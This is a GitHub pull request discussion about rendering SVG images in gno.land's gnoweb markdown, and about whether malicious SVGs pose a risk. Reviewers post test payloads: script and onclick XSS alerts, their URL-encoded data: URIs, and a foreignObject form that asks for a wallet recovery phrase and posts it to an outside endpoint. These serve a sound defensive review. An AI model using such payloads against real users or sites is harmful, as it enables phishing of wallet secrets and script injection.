fix: svg image not showing up
#4152
Conversation
github-project-automation
bot
added this to
💪 Bounties & Worx and 🧙♂️gno.land core team
github-actions
bot
added
the
📦 ⛰️ gno.land
🛠 PR Checks Summary🔴 Changes related to gnoweb must be reviewed by its codeowners Manual Checks (for Reviewers):
Read More🤖 This bot helps streamline PR reviews by verifying automated checks and providing guidance for contributors and reviewers. ✅ Automated Checks (for Contributors):🟢 Maintainers must be able to edit this pull request (more info) ☑️ Contributor Actions:
☑️ Reviewer Actions:
📚 Resources:Debug
|
Codecov ReportAttention: Patch coverage is
📢 Thoughts on this report? Let us know! |
|
I need to do some testing here with malicious SVGs to see how the parser deals with them... |
|
Do we want to place any restrictions on animated SVGs? I'm wondering if these can be leveraged to mislead users. Example: <svg xmlns="http://www.w3.org/2000/svg" width="400" height="100">
<text x="0" y="50" font-size="30" fill="black">
Click Here
<animate attributeName="x" from="0" to="300" dur="2s" repeatCount="indefinite" />
</text>
</svg>=> |
|
I tested 3 types of malicious SVG files: attempts:
<svg xmlns="http://www.w3.org/2000/svg">
<script>
alert('XSS from SVG!');
</script>
</svg>url-encoded: <img src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%20%20%3Cscript%3E%0A%20%20%20%20alert%28%27XSS%20from%20SVG%21%27%29%3B%0A%20%20%3C%2Fscript%3E%0A%3C%2Fsvg%3E">This will not be rendered in any major modern browsers, as they all block scripts inside SVGs when loaded via data: URLs, especially when used in an
<svg xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" fill="red" onclick="alert('xss')" />
</svg>url-encoded: <img src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%20%20%3Crect%20width%3D%22100%22%20height%3D%22100%22%20fill%3D%22red%22%20onclick%3D%22alert%28%27xss%27%29%22%20%2F%3E%0A%3C%2Fsvg%3E">Blocked for the same reason, although it's worth noting that if you opened the data: url directly in the browser you will get a popup.
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
<style>
.form-container {
font-family: sans-serif;
}
.form-container input[type="text"] {
padding: 6px;
margin: 4px 0;
width: 90%;
}
.form-container input[type="submit"] {
padding: 6px 12px;
background-color: #007bff;
color: white;
border: none;
cursor: pointer;
}
.form-container input[type="submit"]:hover {
background-color: #0056b3;
}
</style>
<foreignObject x="10" y="10" width="380" height="180">
<div xmlns="http://www.w3.org/1999/xhtml" class="form-container">
<form method="POST" action="https://httpbin.org/post" target="_blank">
<label>Enter your recovery phrase:</label><br/>
<input type="text" name="user_input" /><br/>
<input type="submit" value="Submit" />
</form>
</div>
</foreignObject>
</svg>url-encoded: In the browser, this is rendered as a static image that can't be interacted with.
This text won't overlap, because modern browsers prevent this from positionally busting out of its intended location. So we should be fine with all of the kinds of attacks, except perhaps in older browsers, which I don't think we should worry about. SVGs have been used in 0day browser exploits, but so have other image formats, so I don't think they present a unique threat. |
I'm figuring a case like an attack like re-creating the Adena UI in SVG and trying to trick the user; like the kind of ads that existed many years ago which would display a window in the same style as used by Windows. Though the fact is that our restrictions disable all kinds of interactivity, so I wonder what kind of attack could be created with a link? Maybe one thing we should do, is that our current system to warn users about links using symbols, should become a warning modal when they click on an image which has a link. cc @alexiscolin (like "You are clicking on an (external|realm|...) link... do you want to do this?"). |
|
I was about to show a screenshot of YouTube's redirect warning as an example, except they no longer warn people for all links. They have a Edit: After a survey of various popular websites, it seems the redirect warning is kind of rare now. They're all doing some sort of backend scoring that results in most external links not prompting a warning. You will see on some sites like Wikipedia a little icon next to a link to an external link. |
|
All links within the rendered Markdown now include an icon (external, cross-realm, tx). The icon was previously broken when used with images, but I pushed a UI fix last week that places the link icon directly on the image. |
Since
data:image/svg+xmlis not fully supported as a CSP rule (onlydata:is supported), this PR introduces a markdown extension that filters out images containingdata:sources, except forimage/svg+xml, by removing the image source.